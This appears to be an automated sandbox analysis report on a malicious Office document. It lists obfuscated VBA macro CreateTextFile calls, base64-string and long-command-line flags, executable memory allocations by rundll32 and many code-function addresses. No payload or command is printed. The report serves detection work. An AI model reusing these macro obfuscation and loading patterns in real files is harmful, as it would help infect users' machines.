Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String createtextfile: Set ZMdrVHGz = xsruLB.CreateTextFile("EEnWBhBO:\VaTRC\McdbPkJ.cvwiQ") Name: G8xesq0b8jlsfrsp
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String createtextfile: Set fDZVKAAc = tzErBRFe.CreateTextFile("RcEcpI:\TGsCxLC\hxAZEBGHI.oETVAFo") Name: G8xesq0b8jlsfrsp
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String createtextfile: Set rYbgBh = hZCth.CreateTextFile("fYRUCAB:\VWWOMB\QmLUE.hKgcGBDCJ") Name: G8xesq0b8jlsfrsp
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String createtextfile: Set GfRPP = xLQtMd.CreateTextFile("RyteBlQC:\fuQXAW\oueKCbIJ.WivEYJD") Name: G8xesq0b8jlsfrsp
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String createtextfile: Set sCOIGDtD = eepvDEaE.CreateTextFile("KlvicF:\bJfMJhqw\dAgvkWD.xDxpHH") Name: G8xesq0b8jlsfrsp
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String createtextfile: Set fmwdEMADQ = DkLoDL.CreateTextFile("pGMMG:\enlVVB\fMqiFP.kEIECDZHz") Name: G8xesq0b8jlsfrsp
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String createtextfile: Set pkixJADG = DhnHIY.CreateTextFile("rfyIZCD:\OrugCDDGG\qkyWDBUAH.gjwVDBALW") Name: G8xesq0b8jlsfrsp
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String createtextfile: Set KmGOADt = CFdSBD.CreateTextFile("HWdKFJOBf:\UYiqcEIJ\rLoNox.YKOSA") Name: G8xesq0b8jlsfrsp
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function Jlda77h_v8nx5, String createtextfile: Set PbhYVsA = PcHRGIADo.CreateTextFile("OiBXGJB:\pnqsZEDV\gsZoAW.EePnB") Name: Jlda77h_v8nx5
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function Jlda77h_v8nx5, String createtextfile: Set NuebA = sTzDC.CreateTextFile("OBoYzRpef:\sDLuJ\bmIQSG.MdmDR") Name: Jlda77h_v8nx5
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function Jlda77h_v8nx5, String createtextfile: Set gxBPJB = zxgLHJSFW.CreateTextFile("KGGMcAB:\uaMWhFR\mhdIDlEH.PDxHAHD") Name: Jlda77h_v8nx5
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function Jlda77h_v8nx5, String createtextfile: Set mgrwfmN = RjiQHRA.CreateTextFile("CxQnJUo:\GongJKJ\vntyZI.ugzmBCOCC") Name: Jlda77h_v8nx5
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function Hrs2a1p95u19, String createtextfile: Set uWZkeMFv = zDsRaIBGF.CreateTextFile("NFKiIDO:\sBRpIz\FFqJD.QevLKGfGs") Name: Hrs2a1p95u19
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function Hrs2a1p95u19, String createtextfile: Set iHKuDmaEr = OMZxxg.CreateTextFile("QWqEKJnW:\BQVnVKF\gWdSBXA.TabDJBD") Name: Hrs2a1p95u19
Document contains an embedded VBA with base64 encoded strings
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String uTtCAFwHpCGF
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String lwWhZGEasjsS
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String MiCjaGqJfPrI
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String KqVyuQQfwTWh
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String mehEFPFHcklgJDDx
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String wypNISsWSXthFJCq
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function G8xesq0b8jlsfrsp, String LvnHAGHfIhRDBRAF
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function Jlda77h_v8nx5, String NeiIGCNWgICn
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function Jlda77h_v8nx5, String NisSEYrcDlKQUITa
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function Hrs2a1p95u19, String nJJzFRjEWpRikxCD
Source: VBA code instrumentation OLE, VBA macro: Module Owppnp8hah4xo788, Function Hrs2a1p95u19, String oLweAMoGsqVE
Very long command line found
Source: unknown Process created: Commandline size = 5709
Source: unknown Process created: Commandline size = 5613
Source: C:\Windows\System32\cmd.exe Process created: Commandline size = 5613 Jump to behavior
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Creates files inside the system directory
Source: C:\Windows\SysWOW64\rundll32.exe File created: C:\Windows\SysWOW64\Mwmjhjl\ Jump to behavior
Detected potential crypto function
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000976F 7_2_1000976F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0024B41F 7_2_0024B41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00242C63 7_2_00242C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00253895 7_2_00253895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0024C0C6 7_2_0024C0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0024EE78 7_2_0024EE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0024568E 7_2_0024568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002502C3 7_2_002502C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002542DA 7_2_002542DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00248736 7_2_00248736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00247B63 7_2_00247B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00254B41 7_2_00254B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0025340A 7_2_0025340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0025687F 7_2_0025687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0024F444 7_2_0024F444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0024E05A 7_2_0024E05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0025A0AF 7_2_0025A0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002448BD 7_2_002448BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002460B9 7_2_002460B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002480BA 7_2_002480BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0025889D 7_2_0025889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002488E5 7_2_002488E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00241CFA 7_2_00241CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002520C5 7_2_002520C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0024F536 7_2_0024F536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00250D33 7_2_00250D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0024153C 7_2_0024153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00257D03 7_2_00257D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0024B112 7_2_0024B112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00255D1D 7_2_00255D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00258D1C 7_2_00258D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0025511B 7_2_0025511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002469A0 7_2_002469A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00256DB9 7_2_00256DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002561B8 7_2_002561B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00259586 7_2_00259586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0024F98C 7_2_0024F98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00246D9F 7_2_00246D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00247998 7_2_00247998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002531E2 7_2_002531E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002571EF 7_2_002571EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00244A35 7_2_00244A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00249A37 7_2_00249A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00242A30 7_2_00242A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00257A0F 7_2_00257A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00255A61 7_2_00255A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0024EA4C 7_2_0024EA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002462A3 7_2_002462A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00241280 7_2_00241280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002512E2 7_2_002512E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002526F5 7_2_002526F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002496CD 7_2_002496CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00258ADC 7_2_00258ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0024BB3A 7_2_0024BB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00250F0C 7_2_00250F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00252B16 7_2_00252B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00257F1F 7_2_00257F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0024C769 7_2_0024C769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00250B68 7_2_00250B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0024E377 7_2_0024E377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00251773 7_2_00251773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00248F78 7_2_00248F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00245B79 7_2_00245B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00259B45 7_2_00259B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00252349 7_2_00252349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00258F49 7_2_00258F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00246754 7_2_00246754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0024B75F 7_2_0024B75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002417AC 7_2_002417AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002573AC 7_2_002573AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0025878F 7_2_0025878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0024839D 7_2_0024839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00253FE7 7_2_00253FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002567E9 7_2_002567E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0024D7EB 7_2_0024D7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002563C1 7_2_002563C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00249FDC 7_2_00249FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00251BDF 7_2_00251BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0021B41F 8_2_0021B41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00212C63 8_2_00212C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0021EE78 8_2_0021EE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0021568E 8_2_0021568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00223895 8_2_00223895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002202C3 8_2_002202C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0021C0C6 8_2_0021C0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002242DA 8_2_002242DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00218736 8_2_00218736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00217B63 8_2_00217B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00224B41 8_2_00224B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002263C1 8_2_002263C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00212A30 8_2_00212A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00214A35 8_2_00214A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00219A37 8_2_00219A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0022340A 8_2_0022340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00227A0F 8_2_00227A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00225A61 8_2_00225A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0022687F 8_2_0022687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0021F444 8_2_0021F444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0021EA4C 8_2_0021EA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0021E05A 8_2_0021E05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002162A3 8_2_002162A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0022A0AF 8_2_0022A0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002160B9 8_2_002160B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002180BA 8_2_002180BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002148BD 8_2_002148BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00211280 8_2_00211280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0022889D 8_2_0022889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002212E2 8_2_002212E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002188E5 8_2_002188E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002226F5 8_2_002226F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00211CFA 8_2_00211CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002220C5 8_2_002220C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002196CD 8_2_002196CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00228ADC 8_2_00228ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00220D33 8_2_00220D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0021F536 8_2_0021F536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0021BB3A 8_2_0021BB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0021153C 8_2_0021153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00227D03 8_2_00227D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00220F0C 8_2_00220F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0021B112 8_2_0021B112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00222B16 8_2_00222B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0022511B 8_2_0022511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00227F1F 8_2_00227F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00228D1C 8_2_00228D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00225D1D 8_2_00225D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0021C769 8_2_0021C769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00220B68 8_2_00220B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00221773 8_2_00221773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0021E377 8_2_0021E377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00215B79 8_2_00215B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00218F78 8_2_00218F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00229B45 8_2_00229B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00222349 8_2_00222349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00228F49 8_2_00228F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00216754 8_2_00216754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0021B75F 8_2_0021B75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002169A0 8_2_002169A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002117AC 8_2_002117AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002273AC 8_2_002273AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002261B8 8_2_002261B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00226DB9 8_2_00226DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00229586 8_2_00229586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0022878F 8_2_0022878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0021F98C 8_2_0021F98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00217998 8_2_00217998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0021839D 8_2_0021839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00216D9F 8_2_00216D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002231E2 8_2_002231E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00223FE7 8_2_00223FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0021D7EB 8_2_0021D7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002267E9 8_2_002267E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002271EF 8_2_002271EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00221BDF 8_2_00221BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00219FDC 8_2_00219FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00472C63 9_2_00472C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0047EE78 9_2_0047EE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0047B41F 9_2_0047B41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0047C0C6 9_2_0047C0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_004802C3 9_2_004802C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_004842DA 9_2_004842DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0047568E 9_2_0047568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00483895 9_2_00483895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00484B41 9_2_00484B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00477B63 9_2_00477B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00478736 9_2_00478736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_004863C1 9_2_004863C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0047F444 9_2_0047F444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0047EA4C 9_2_0047EA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0047E05A 9_2_0047E05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00485A61 9_2_00485A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0048687F 9_2_0048687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0048340A 9_2_0048340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00487A0F 9_2_00487A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00479A37 9_2_00479A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00474A35 9_2_00474A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00472A30 9_2_00472A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_004796CD 9_2_004796CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_004820C5 9_2_004820C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00488ADC 9_2_00488ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_004788E5 9_2_004788E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_004812E2 9_2_004812E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00471CFA 9_2_00471CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_004826F5 9_2_004826F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00471280 9_2_00471280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0048889D 9_2_0048889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_004762A3 9_2_004762A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0048A0AF 9_2_0048A0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_004748BD 9_2_004748BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_004780BA 9_2_004780BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_004760B9 9_2_004760B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00482349 9_2_00482349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00488F49 9_2_00488F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00489B45 9_2_00489B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00476754 9_2_00476754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0047B75F 9_2_0047B75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00480B68 9_2_00480B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0047C769 9_2_0047C769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0047E377 9_2_0047E377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00481773 9_2_00481773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00475B79 9_2_00475B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00478F78 9_2_00478F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00480F0C 9_2_00480F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00487D03 9_2_00487D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0048511B 9_2_0048511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00488D1C 9_2_00488D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00485D1D 9_2_00485D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0047B112 9_2_0047B112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00487F1F 9_2_00487F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00482B16 9_2_00482B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0047F536 9_2_0047F536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0047153C 9_2_0047153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00480D33 9_2_00480D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0047BB3A 9_2_0047BB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00481BDF 9_2_00481BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00479FDC 9_2_00479FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_004867E9 9_2_004867E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_004871EF 9_2_004871EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_004831E2 9_2_004831E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0047D7EB 9_2_0047D7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00483FE7 9_2_00483FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0048878F 9_2_0048878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0047F98C 9_2_0047F98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00489586 9_2_00489586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00476D9F 9_2_00476D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0047839D 9_2_0047839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00477998 9_2_00477998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_004873AC 9_2_004873AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_004769A0 9_2_004769A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_004717AC 9_2_004717AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_004861B8 9_2_004861B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00486DB9 9_2_00486DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023B41F 10_2_0023B41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_00232C63 10_2_00232C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 10_2_0023EE78 10_2_0023EE78
